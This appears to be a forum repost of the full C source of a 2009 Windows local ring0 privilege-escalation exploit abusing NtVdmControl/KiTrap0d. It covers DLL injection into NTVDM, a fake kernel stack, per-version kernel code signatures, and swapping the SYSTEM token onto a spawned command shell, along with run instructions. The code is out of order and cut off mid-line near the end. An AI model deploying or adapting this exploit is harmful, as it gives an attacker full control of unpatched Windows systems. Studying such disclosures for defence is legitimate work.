enum { VdmStartExecution = 0, VdmInitialize = 3 };
VOID FirstStage();
BOOL InitializeVdmSubsystem();
PVOID KernelGetProcByName(PSTR);
BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
// This routine is where I land after successfully triggering the vulnerability.
VOID FirstStage()
{
FARPROC DbgPrint;
FARPROC PsGetCurrentThread;
FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
FARPROC PsLookupProcessByProcessId;
FARPROC PsReferencePrimaryToken;
FARPROC ZwTerminateProcess;
PVOID CurrentThread;
PVOID TargetProcess, *PsInitialSystemProcess;
DWORD StackBase, StackLimit;
DWORD i;
// Keep interrupts off until I've repaired my KTHREAD.
__asm cli
// Resolve some routines I need from the kernel export directory
DbgPrint = KernelGetProcByName("DbgPrint");
PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");
PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");
PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");
PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");
PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId");
PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken");
ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess");
CurrentThread = (PVOID) PsGetCurrentThread();
StackLimit = (DWORD) PsGetCurrentThreadStackLimit();
StackBase = (DWORD) PsGetCurrentThreadStackBase();
DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",
CurrentThread,
StackBase,
StackLimit);
// First I need to repair my CurrentThread, find all references to my fake kernel
// stack and repair them. Note that by "repair" I mean randomly point them
// somewhere inside the real stack.
DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",
&KernelStackPointer[0],
&KernelStackPointer[KernelStackSize - 1],
CurrentThread);
// For every stack location, try to find all references to it in my
// CurrentThread.
for (i = 0; i < KernelStackSize; i++) {
// The size of this structure varies between kernels, whats the maximum
// size likely to be?
CONST DWORD MaxExpectedEthreadSize = 0x200;
// Find and repair all references to this location
while (FindAndReplaceMember((PDWORD) CurrentThread,
(DWORD) &KernelStackPointer[i],
(DWORD) StackBase - ((StackBase - StackLimit) / 2),
MaxExpectedEthreadSize,
FALSE))
;
}
// Find the EPROCESS structure for the process I want to escalate
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
PACCESS_TOKEN SystemToken;
PACCESS_TOKEN TargetToken;
// What's the maximum size the EPROCESS structure is ever likely to be?
CONST DWORD MaxExpectedEprocessSize = 0x200;
DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess);
DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);
// Find the Token object for my target process, and the SYSTEM process.
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken);
DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken);
// Find the token in the target process, and replace with the system token.
FindAndReplaceMember((PDWORD) TargetProcess,
(DWORD) TargetToken,
(DWORD) SystemToken,
MaxExpectedEprocessSize,
TRUE);
// Success, try to terminate the current process.
ZwTerminateProcess(GetCurrentProcess(), 'w00t');
} else {
// Maybe the user closed the window?
DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);
// Report this failure
ZwTerminateProcess(GetCurrentProcess(), 'LPID');
}
// Oops, Something went wrong, restore interrupts and spin here.
__asm sti
for (;;) __asm pause
}
// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
DWORD CurrentValue,
DWORD NewValue,
DWORD MaxSize,
BOOL ObjectRefs)
{
DWORD i, Mask;
// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting (nice trick).
Mask = ObjectRefs ? ~7 : ~0;
// Mask out the reference count.
CurrentValue &= Mask;
// Scan the structure for any occurrence of CurrentValue.
for (i = 0; i < MaxSize; i++) {
if ((Structure[i] & Mask) == CurrentValue) {
// And finally, replace it with NewValue.
Structure[i] = NewValue;
return TRUE;
}
}
// Member not found.
return FALSE;
}
// Find an exported kernel symbol by name.
PVOID KernelGetProcByName(PSTR SymbolName)
{
PUCHAR ImageBase;
PULONG NameTable;
PULONG FunctionTable;
PUSHORT OrdinalTable;
PIMAGE_EXPORT_DIRECTORY ExportDirectory;
PIMAGE_DOS_HEADER DosHeader;
PIMAGE_NT_HEADERS PeHeader;
DWORD i;
ImageBase = (PUCHAR) KernelHandle;
DosHeader = (PIMAGE_DOS_HEADER) ImageBase;
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
+ PeHeader->OptionalHeader
. DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
. VirtualAddress);
// Find required tablesa from the ExportDirectory.
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
// Scan each entry for a matching name.
for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
PCHAR Symbol = ImageBase + NameTable[i];
if (strcmp(Symbol, SymbolName) == 0) {
// Symbol found, return the appropriate entry from FunctionTable.
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
}
}
// Symbol not found, this is likely fatal :-(
return NULL;
}
// Exploit entrypoint.
BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
{
CONST DWORD MinimumExpectedVdmTibSize = 0x400;
CONST DWORD MaximumExpectedVdmTibSize = 0x800;
FARPROC NtVdmControl;
DWORD KernelStack[KernelStackSize];
DWORD Ki386BiosCallReturnAddress;
CHAR Pid[32], Off[32], Krn[32];
struct {
ULONG Size;
PVOID Padding0;
PVOID Padding1;
CONTEXT Padding2;
CONTEXT VdmContext;
DWORD Padding3[1024];
} VdmTib = {0};
// Initialise these structures with recognisable constants to ease debugging.
FillMemory(&VdmTib, sizeof VdmTib, 'V');
FillMemory(&KernelStack, sizeof KernelStack, 'K');
// Parent passes parameters via environment variables.
//
// - VDM_TARGET_PID
// Pid of the process to transplant a SYSTEM token onto.
// - VDM_TARGET_OFF
// Offset from ntoskrnl of Ki386BiosCallReturnAddress.
// - VDM_TARGET_KRN
// Ntoskrnl base address.
GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
TargetPid = strtoul(Pid, NULL, 0);
// Setup the fake kernel stack, and install a minimal VDM_TIB,
KernelStackPointer = KernelStack;
KernelStack[0] = (DWORD) &KernelStack[8]; // Esp
KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb
KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb
KernelStack[7] = (DWORD) FirstStage; // RetAddr
KernelHandle = (HMODULE) strtoul(Krn, NULL, 0);
VdmTib.Size = MinimumExpectedVdmTibSize;
*NtCurrentTeb()->Reserved4 = &VdmTib;
// Initialize the VDM Subsystem.
InitializeVdmSubsystem();
VdmTib.Size = MinimumExpectedVdmTibSize;
VdmTib.VdmContext.SegCs = 0x0B;
VdmTib.VdmContext.Esi = (DWORD) &KernelStack;
VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
*NtCurrentTeb()->Reserved4 = &VdmTib;
// Trigger the vulnerable code via NtVdmControl().
while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
NtVdmControl(VdmStartExecution, NULL);
// Unable to find correct VdmTib size.
ExitThread('VTIB');
}
// Setup a minimal execution environment to satisfy NtVdmControl().
BOOL InitializeVdmSubsystem()
{
FARPROC NtAllocateVirtualMemory;
FARPROC NtFreeVirtualMemory;
FARPROC NtVdmControl;
PBYTE BaseAddress;
ULONG RegionSize;
static DWORD TrapHandler[128];
static DWORD IcaUserData[128];
static struct {
PVOID TrapHandler;
PVOID IcaUserData;
} InitData;
NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
BaseAddress = (PVOID) 0x00000001;
RegionSize = (ULONG) 0x00000000;
InitData.TrapHandler = TrapHandler;
InitData.IcaUserData = IcaUserData;
// Remove anything currently mapped at NULL
NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
BaseAddress = (PVOID) 0x00000001;
RegionSize = (ULONG) 0x00100000;
// Allocate the 1MB virtual 8086 address space.
if (NtAllocateVirtualMemory(GetCurrentProcess(),
&BaseAddress,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
ExitThread('NTAV');
return FALSE;
}
// Finalise the initialisation.
if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
ExitThread('VDMC');
return FALSE;
}
return TRUE;
}
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
// -------------------------------------------- taviso@sdf.lonestar.org ---
//
// Tavis Ormandy, June 2009.
//
// INTRODUCTION
//
// I'm not usually interested in Windows exploits (I'm a UNIX guy), but this
// bug was so unusual I felt it deserved some special attention :-)
//
// I believe every single release of Windows NT since version 3.1 (1993) up to
// and including Windows 7 (2009) contain this error.
//
// KNOWN BUGS
//
// * If KernelGetProcByName() ever fails, I'm probably in trouble.
// * I hardcode several paths instead of expanding %SYSTEMROOT%.
// * I probably need to VirtualLock() some stuff.
// * I suspect this is unreliable on mp kernels.
//
// INSTRUCTIONS
//
// C:\> nmake
// C:\> vdmallowed.exe
//
// WORKAROUND
//
// Disabling the MSDOS and WOWEXEC subsystems will prevent the exploit
// from functioning.
//
// http://support.microsoft.com/kb/220159
//
// GREETZ
//
// Julien, Lcamtuf, Spoonm, Neel, Skylined, Redpig, and others.
//
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#include <stdarg.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
#pragma comment(lib, "advapi32")
#define PAGE_SIZE 0x1000
enum { SystemModuleInformation = 11 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
static CONST UCHAR CodeSignatures[][16] = {
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00" }, // Windows NT4
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows 2000
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows XP
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00" }, // Windows 2003
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows Vista
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 2008
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 7
};
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
BOOL PrepareProcessForSystemToken(PCHAR Application, PDWORD ProcessId);
BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR Application, PHANDLE ProcessHandle);
BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread);
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase);
int main(int argc, char **argv)
{
HANDLE VdmHandle;
HANDLE RemoteThread;
DWORD ShellPid;
DWORD ThreadCode;
DWORD KernelBase;
CHAR Buf[32];
DWORD Offset;
LogMessage(L_INFO,
"\r"
"--------------------------------------------------\n"
"Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n"
"-------------------------------------------- taviso@sdf.lonestar.org ---\n"
"\n"
);
// Spawn the process to be elevated to SYSTEM.
LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)");
if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", &ShellPid) != TRUE) {
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
goto finished;
}
// Scan kernel image for the required code sequence, and find the base address.
if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
goto finished;
}
// Pass the parameters required by exploit thread to NTVDM.
SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf));
SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf));
SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf));
// Invoke the NTVDM subsystem, by launching any MS-DOS executable.
LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable");
if (SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM32\\DEBUG.EXE", &VdmHandle) == FALSE) {
LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure");
goto finished;
}
// Start the exploit thread in the NTVDM process.
LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle);
if (InjectDLLIntoProcess("VDMEXPLOIT.DLL", VdmHandle, &RemoteThread) == FALSE) {
LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure");
goto finished;
}
// Wait for the thread to complete
LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);
WaitForSingleObject(RemoteThread, INFINITE);
// I pass some information back via the exit code to indicate what happened.
GetExitCodeThread(RemoteThread, &ThreadCode);
LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode);
switch (ThreadCode) {
case 'VTIB':
// A data structure supplied to the kernel called VDM_TIB has to have a `size` field that
// matches what the kernel expects.
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure");
break;
case 'NTAV':
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
// expects to be present.
// The exploit thread reports it didn't work.
LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space");
break;
case 'VDMC':
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
// it's failing.
LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed");
break;
case 'LPID':
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
// unprivileged process owned by you.
// PsLookupProcessByProcessId() failed when trying to find your process.
LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed");
break;
case FALSE:
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll");
break;
case 'w00t':
// This means the exploit payload was executed at ring0 and succeeded.
LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
break;
default:
// Unknown error. Sorry, you're on your own.
LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode);
break;
}
TerminateProcess(VdmHandle, 0);
CloseHandle(VdmHandle);
CloseHandle(RemoteThread);
finished:
LogMessage(L_INFO, "Press any key to exit...");
getch();
return 0;
}
// Start a process to give SYSTEM token to.
static BOOL PrepareProcessForSystemToken(PCHAR App, PDWORD ProcessId)
{
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = { sizeof si };
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) {
LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError());
return FALSE;
}
LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);
*ProcessId = pi.dwProcessId;
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
// Grab a useful Handle to NTVDM.
static BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR App, PHANDLE ProcessHandle)
{
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = { sizeof si };
ULONG i;
// Start the child process, which should invoke NTVDM.
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
LogMessage(L_ERROR, "CreateProcess(\"%s\") failed, %#x", App, GetLastError());
return FALSE;
}
LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);
// Get more access
if ((*ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_QUERY_INFORMATION
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ
| PROCESS_TERMINATE,
FALSE,
pi.dwProcessId)) == NULL) {
LogMessage(L_ERROR, "OpenProcess(%u) failed, %#x", pi.dwProcessId, GetLastError());
TerminateProcess(pi.hProcess, 'SPWN');
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
LogMessage(L_DEBUG, "OpenProcess(%u) => %#x", pi.dwProcessId, *ProcessHandle);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
// Use the DLL Injection technique to access the NTVDM process.
// http://en.wikipedia.org/wiki/DLL_injection
static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread)
{
PVOID RemotePage;
LPTHREAD_START_ROUTINE StartRoutine;
assert(ProcessHandle != INVALID_HANDLE_VALUE);
assert(DllPath);
assert(RemoteThread);
// Allocate a page in the child process
if ((RemotePage = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) {
LogMessage(L_ERROR, "VirtualAllocEx() returned failure, %#x", GetLastError());
return FALSE;
}
// Write in the name of my DLL (note, memory is already zeroed)
if (WriteProcessMemory(ProcessHandle, RemotePage, DllPath, strlen(DllPath), NULL) == FALSE) {
LogMessage(L_ERROR, "WriteProcessMemory(%p) returned failure, %#x", RemotePage, GetLastError());
return FALSE;
}
LogMessage(L_DEBUG, "WriteProcessMemory(%#x, %#x, \"%s\", %u);",
ProcessHandle,
RemotePage,
DllPath,
strlen(DllPath));
// Execute it in child process, loading the specified library
*RemoteThread = CreateRemoteThread(ProcessHandle,
NULL,
0,
(LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"),
RemotePage,
0,
NULL);
return *RemoteThread != NULL;
}
// Scan the appropriate kernel image for the correct offset
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase)
{
FARPROC NtQuerySystemInformation;
HMODULE KernelHandle;
PIMAGE_DOS_HEADER DosHeader;
PIMAGE_NT_HEADERS PeHeader;
PIMAGE_OPTIONAL_HEADER OptHeader;
OSVERSIONINFO osvi = { sizeof osvi };
PBYTE ImageBase;
DWORD PhysicalAddressExtensions, DataSize;
ULONG i;
HKEY MmHandle;
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
// List of versions I have code signatures for.
enum {
MICROSOFT_WINDOWS_NT4 = 0,
MICROSOFT_WINDOWS_2000 = 1,
MICROSOFT_WINDOWS_XP = 2,
MICROSOFT_WINDOWS_2003 = 3,
MICROSOFT_WINDOWS_VISTA = 4,
MICROSOFT_WINDOWS_2008 = 5,
MICROSOFT_WINDOWS_7 = 6,
} Version = MICROSOFT_WINDOWS_7;
// NtQuerySystemInformation can be used to find kernel base address
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation");
// Determine kernel version so that the correct code signature is used
GetVersionEx(&osvi);
LogMessage(L_DEBUG, "GetVersionEx() => %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion);
if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)
Version = MICROSOFT_WINDOWS_NT4;
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
Version = MICROSOFT_WINDOWS_2000;
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
Version = MICROSOFT_WINDOWS_XP;
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
Version = MICROSOFT_WINDOWS_2003;
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
Version = MICROSOFT_WINDOWS_VISTA;
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
Version = MICROSOFT_WINDOWS_2008;
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)
Version = MICROSOFT_WINDOWS_7;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL);
LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",
ModuleInfo.Module[0].ImageName,
ModuleInfo.Module[0].Base);
// Load the kernel image specified
if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) {
LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError());
return FALSE;
}
// Parse image headers
*KernelBase = (DWORD) ModuleInfo.Module[0].Base;
ImageBase = (PBYTE) KernelHandle;
DosHeader = (PIMAGE_DOS_HEADER)(ImageBase);
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
OptHeader = &PeHeader->OptionalHeader;
LogMessage(L_DEBUG, "Searching for kernel %u.%u signature { %02hhx, %02hhx, ... } ...",
osvi.dwMajorVersion,
osvi.dwMinorVersion,
CodeSignatures[Version][0],
CodeSignatures[Version][1]);
// Scan for the appropriate signature
for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++) {
if (memcmp(&ImageBase[i], CodeSignatures[Version], sizeof CodeSignatures[Version]) == 0) {
LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i);
*OffsetFromBase = i;
FreeLibrary(KernelHandle);
return TRUE;
}
}
LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel");
FreeLibrary(KernelHandle);
return FALSE;
}
// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
CHAR Buffer[1024] = {0};
va_list Args;
va_start(Args, Format);
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
va_end(Args);
switch (Level) {
case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
case L_WARN: fprintf(stderr, "
}
fflush(stdout);
fflush(stderr);
return TRUE;
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
他的文章
看原图
赞赏
雪币:
留言: